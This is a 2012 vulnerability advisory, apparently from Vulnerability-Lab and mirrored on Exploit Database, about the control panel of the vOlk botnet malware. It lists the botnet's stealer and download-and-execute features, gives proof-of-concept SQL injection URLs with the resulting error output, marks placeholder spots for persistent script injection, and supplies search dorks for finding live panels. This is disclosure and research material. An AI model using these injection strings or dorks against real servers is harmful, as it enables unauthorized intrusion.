vOlk Botnet Framework 4.0 – Multiple Vulnerabilities

Exploit Database
100 阅读

作者： Vulnerability-Lab

日期： 2012-10-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/21891/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

Title:

======

vOlk Botnet Framework v4.0 - Multiple Web Vulnerabilities

Date:

=====

2012-10-09

References:

===========

http://www.vulnerability-lab.com/get_content.php?id=721

VL-ID:

=====

721

Common Vulnerability Scoring System:

====================================

8.3

Introduction:

=============

vOlk-Botnet v4.0 is a remote administration tool, its main function is to manage the HOSTS file of the windows

operating systems The code created by [byvOlk] PHP and Visual Basic 6.0.

Features:

[+] Add Startup

[+] Download & Execute.

[+] Visit Webpage [Visible].

[+] Visit Webpage [Invisible].

[+] Mutex

[+] Stealer FTP(Filezilla)

[+] Msn Stealer(Messenger Save User)

[+] Statistics Bot s

Abstract:

=========

The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.

Report-Timeline:

================

2012-10-09: Public or Non-Public Disclosure

Status:

========

Published

Exploitation-Technique:

=======================

Remote

Severity:

=========

Critical

Details:

========

1.1

The vulnerability laboratory research team discovered multiple sql injection vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.

The sql vulnerabilities allow remote attackers to inject/execute own sql commands/statements on the affected vOlks botnet application control panel dbms.

The vulnerabilities are located in the Messenger, Filezilla, Estadisticas files with the bound vulnerable ?pag listing parameter. The vulnerability can

be exploited by remote attackers without required user inter action. Successful exploitation of the vulnerabilities result in botnet control panel

compromise via remote sql injection attack.

Vulnerable Files(s):

[+] Messenger.php

[+] Filezilla.php

[+] Estadisticas.php

Vulnerable Parameter(s):

[+] pag

1.2

The vulnerability laboratory research team discovered multiple persistent web vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.

The input validation vulnerabilities allow remote attackers to inject own malicious persistent script code on application side of the botnet framework.

The vulnerabilities are located in the Visit Webpage (Open URL), MSN Stealer, Download File and Setting modules with the bound vulnerable domin,

Pasw, https or messenger bot s name parameters. The vulnerability can be exploited by remote attacker with low or medium required user inter action.

Successful exploitation of the vulnerabilities result in botnet control panel compromise via session hijacking, persistent web context manipulation or

combined csrf request manipulation.

Vulnerable Module(s):

[+] MSN Stealer

[+] Visit Webpage (Open URL)

[+] Download File

[+] Setting

Vulnerable Parameter(s):

[+] Name -Bot s Name

[+] URL - Open URL Bots

[+] URL - Download url

[+] Password Administrator &User Administrator

Dork CodeSearch:<p><font color=<code></code>#FFFFFF<code></code> face=<code></code>Tahoma<code></code> size=<code></code>1<code></code>>vOlk-Botnet 4.0</font></p><code></code> or <code></code><title>[vOlk-Botnet]v 4.0 Login</title><code>

DorK Google: allinurl:vOlk-Botnet 4.0orsubtitle:[byvOlk] - WebAdmin Panel � vOlk-Botnet 4.0andallinurl:WebAdmin/archivos/imagen/logo.jpg

Proof of Concept:

=================

1.1

The sql injection vulnerabilities can be exploited by remote attacker without privileged application user account and without

required user inter action. For demonstration or reproduce ...

http://[SERVER]/images/WebAdmin/Controladores/Messenger.php?pag=-1%27%20union all select id from pharming--

http://[SERVER]/images/WebAdmin/Controladores/Filezilla.php?pag=-1%27%20union all select id from pharming--

http://[SERVER]/images/WebAdmin/Vistas/Estadisticas.php?pais=-1%27%20union all select id from pharming--

--- SQL Exceptions ---

Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right

syntax to use near '-100 , 100' at line 1

---

Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right

syntax to use near ''-1'' ORDER BY fecha DESC LIMIT 0 , 45' at line 1

---

Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right

syntax to use near '-200 , 100' at line 1

SELECT * FROM zombis

SELECT * FROM pharming

1.2

The persistent script code inject vulnerabilities can be exploited by remote attackers without privileged application user account but with

low or medium required user inter action. For demonstration or reproduce ...

MSN Stealer:

The msn stealer module inside of the application displays the Bot's Name unsanitized. To infect the attacker back the victim can simulate a

fake msn account login on a infected system with malicious persistent script code as Bot's Name. The result is a persistent script code execution

out of Bot's Name web context in the messenger listing. The victim can hijack the vOlks Botnet Panel sessions or manipulate the framework with

own malicious persistent context to stop, block, take over or disable the service.

Review: MSN STEALER - BOTS NAME

<font color="#FFFFFF" face="Verdana" size="1">Bot's Name

</font></b></div></td>

<font color="#FFFFFF" face="Verdana" size="1">Pais

</font></b></div></td>

<font color="#FFFFFF" face="Verdana" size="1">Login de msnmsgr.exe

</font></b></div></td>

</tr>

<tr>

<td><div align="center"><font color="#CCCCCC">[[PERSISTENT INJECTED SCRIPT CODE!]]</font></div>

Review: Visit Webpage - Open URL

<td align="left" bgcolor="#333333" height="26" width="29%"><font color="#FFFFFF" face="Verdana"

size="1">Open URL Bots: </font></td>

<td align="left" bgcolor="#333333" width="68%"><div> <span style="margin-left:0px" name="div_1_mensaje"

id="div_1_mensaje"> <font face="Verdana" size="1">

<input name="domin" id="domin" style="border:1px solid #FFFFFF; width: 420; color:#666666; font-family:

Verdana; font-size:8pt; background-color:#000000; float:left; height:17"

value=""><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <"="" size="1">

</font> </span> </div></td>

</tr>

Review: Download File

<td align="left" bgcolor="#333333" height="19" width="29%"><font color="#FFFFFF" face="Verdana"

size="1">Download url:</font></td>

<input name="https" id="https" style="border:1px solid #FFFFFF; width: 394; font-family:Verdana;

font-size:8pt; color:#666666; background-color:#000000; float:left;

height:17" value="http://www."><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <.com"="" size="1">

</font> </span> </div></td>

</tr>

Review: Settings - Administrator Username & Administrator Password

<font color="#FFFFFF" face="Verdana" size="1">User Administrator:</font></td>

<input style="border:1px solid #FFFFFF; width: 300px; font-family:Verdana; font-size:8pt;

color:#666666; background-color:#000000" value="[[PERSISTENT INJECTED SCRIPT CODE!]]"

disabled="disabled" name="User" id="User" size="1" type="text">[[PERSISTENT INJECTED SCRIPT CODE!]]

</font></span>

</div></td>

</tr>

<tr>

<td align="left" bgcolor="#333333" height="21" width="30%"><font color="#FFFFFF" face="Verdana"

size="1">Password Administrator :</font></td>

<input name="Pasw" id="Pasw" style="border:1px solid #FFFFFF; width: 300px; font-family:Verdana;

font-size:8pt; color:#666666; background-color:#000000" value="\"

type="text"><[[PERSISTENT INJECTED SCRIPT CODE!]];)" <"="" size="70"></font></span></td>

</tr>

Risk:

=====

1.1

The security risk of the sql injection vulnerabilities are estimated as critical.

1.2

The security risk of the persistent script code inject vulnerabilities are estimated as medium(+).

Credits:

========

Vulnerability Laboratory [Research Team]-Karim H.B. (kami@vulnerability-lab.com)

Vulnerability Laboratory [Research Team]-Benjamin Kunz Mejri (bkm@vulnerability-lab.com)

Disclaimer:

===========

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,

either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-

Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business

profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some

states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation

may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases

or trade with fraud/stolen material.

Domains:www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register

Contact:admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com

Section:video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com

Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.

Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other

media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and

other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),

modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

VULNERABILITY RESEARCH LABORATORY

LABORATORY RESEARCH TEAM

CONTACT: research@vulnerability-lab.com